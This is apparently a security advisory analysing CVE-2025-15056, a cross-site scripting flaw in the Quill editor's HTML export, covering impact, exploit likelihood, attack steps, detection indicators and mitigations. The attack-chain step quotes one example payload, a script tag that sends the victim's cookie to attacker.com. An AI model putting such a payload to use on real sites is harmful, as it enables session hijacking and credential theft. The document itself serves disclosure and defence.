CVE-2025-15056: 
JavaScript vulnerability analysis and mitigation

CVE-2025-15056 is a Cross-Site Scripting (XSS) vulnerability in the HTML export feature of Quill, a popular open-source WYSIWYG rich text editor maintained by Slab. The vulnerability stems from a lack of data validation, allowing attackers to inject malicious scripts through crafted content that is exported as HTML. It affects Quill version 2.0.3 (the latest release as of the disclosure date) running on Node.js. The CVE was assigned by Fluid Attacks and published on January 13, 2026. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (Red Hat CVE, Fluid Attacks Advisory).

The root cause is improper neutralization of special elements in output used by a downstream component (CWE-79: Cross-Site Scripting), arising from insufficient input sanitization in Quill's HTML export pipeline. When a user exports editor content containing crafted payloads, the HTML export feature fails to sanitize or encode special characters and script tags before rendering, allowing arbitrary JavaScript to be embedded in the exported output. Exploitation requires user interaction — a victim must open or process the exported HTML — but no authentication or elevated privileges are needed. A proof-of-concept exploit is publicly available via Fluid Attacks' advisory (Fluid Attacks Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser when they open or process maliciously crafted exported HTML content. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and data exfiltration. The scope is changed (per CVSS), meaning the impact can extend beyond the vulnerable component itself, affecting downstream systems or users that consume the exported HTML (Red Hat CVE, Fluid Attacks Advisory).

A proof-of-concept exploit is publicly available through Fluid Attacks' advisory page. The EPSS score is approximately 0.047%, indicating a low but non-zero probability of exploitation in the wild. There is no current evidence of active in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires user interaction (a victim must open the exported HTML), which limits automated mass exploitation (Fluid Attacks Advisory).

1. Craft malicious content: An attacker creates or manipulates content within a Quill 2.0.3 editor instance, embedding a malicious payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based XSS payload) into the editor's rich text content.
2. Trigger HTML export: The attacker (or a victim tricked into doing so) uses Quill's HTML export feature to export the editor content containing the crafted payload to an HTML file or string.
3. Deliver to victim: The attacker shares or distributes the exported HTML file to a target victim via email, file sharing, or by embedding it in a web application that renders Quill-exported content.
4. Victim opens exported HTML: When the victim opens or renders the exported HTML in their browser, the unsanitized script payload executes in the victim's browser context.
5. Achieve objective: The executed JavaScript can steal session cookies, perform actions on behalf of the victim, redirect to phishing pages, or exfiltrate sensitive data to an attacker-controlled server (Fluid Attacks Advisory).

• Network: Unexpected outbound HTTP requests from a user's browser to unknown external domains shortly after opening Quill-exported HTML files; requests containing encoded cookie or session data in URL parameters.
• File System: Exported HTML files from Quill containing <script> tags, javascript: URIs, or inline event handlers (e.g., onerror, onload, onclick) in unexpected locations within the markup.
• Logs: Web server or application logs showing unusual access patterns to Quill-based export endpoints; browser console errors related to Content Security Policy (CSP) violations triggered by inline script execution.
• Process/Browser: Unexpected JavaScript execution or redirects occurring immediately upon opening a Quill-exported HTML document (Fluid Attacks Advisory).

There is no official patch released for Quill 2.0.3 at the time of disclosure; IBM has addressed the vulnerability in Cloudera Base on-premises 7.3.2 for affected IBM products (patch added May 15, 2026) (IBM Advisory). As immediate workarounds: implement server-side or client-side HTML sanitization (e.g., using DOMPurify) on all content before or after export; deploy Content Security Policy (CSP) headers to restrict inline script execution; and restrict or disable the HTML export feature if it is not critical to operations. Monitor the Quill GitHub repository for an official patch release and upgrade as soon as one becomes available.

The vulnerability was discovered and reported by Fluid Attacks, who published a detailed advisory. A developer blog post on dev.to discussed fixing XSS vulnerabilities in Quill-based HTML export pipelines, reflecting community awareness of the issue. Red Hat has acknowledged the CVE in their security tracking. No major vendor statements or widespread media coverage have been identified beyond these sources (Fluid Attacks Advisory, Red Hat CVE).